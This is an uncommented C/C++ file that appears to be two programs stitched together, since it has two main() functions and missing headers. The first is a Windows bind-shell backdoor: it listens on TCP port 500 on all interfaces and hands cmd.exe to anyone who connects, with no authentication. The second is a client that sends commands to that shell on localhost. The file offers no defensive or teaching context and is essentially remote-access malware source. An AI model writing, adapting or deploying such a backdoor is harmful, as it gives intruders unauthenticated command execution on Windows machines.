#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
int main()
{
struct sockaddr sockadr2;
	struct sockaddr_in sockadr;
	struct hostent    *host = NULL;
	long handle;
	PROCESS_INFORMATION cmdproc;
	STARTUPINFO cmdrun;
	WSADATA wsaData;
	SOCKET sock;

	WSAStartup(MAKEWORD(1,1), &wsaData);
	sock = socket(AF_INET, SOCK_STREAM,0);
 
    sockadr.sin_family = AF_INET;
    sockadr.sin_port = htons(500);	
	sockadr.sin_addr.s_addr = htonl(INADDR_ANY);

	bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
	listen(sock, 0);
	
	while(true){
		handle = accept(sock, &sockadr2, 0);
		if(handle != INVALID_SOCKET){
			ZeroMemory(&cmdrun, sizeof(cmdrun));
			cmdrun.cb = sizeof(cmdrun);
			cmdrun.hStdInput = (void *)handle;
			cmdrun.hStdError = (void *)handle;
			cmdrun.hStdOutput = (void *)handle;
			cmdrun.dwFlags = STARTF_USESTDHANDLES;
			CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
			WaitForSingleObject(cmdproc.hProcess, INFINITE);
			CloseHandle(cmdproc.hProcess);
			CloseHandle(cmdproc.hThread);
			shutdown(handle, 1);
			CloseHandle(&handle);
		}
	}
}

int main()
{
char *buf=new char[1024*1024];
SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(500);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
getch();
connect(s,(sockaddr*)&adr,sizeof(adr));
Sleep(1000);
for(;;)
{
recv(s,buf,1024*1024,0);
if(strlen(buf)>0)
{
cout<<buf;
memset(buf,NULL,strlen(buf));
cin>>buf;
send(s,buf,strlen(buf),0);
}
if(strcmp(buf,"exit")==0){break;}
memset(buf,NULL,strlen(buf));
}
delete []buf;
}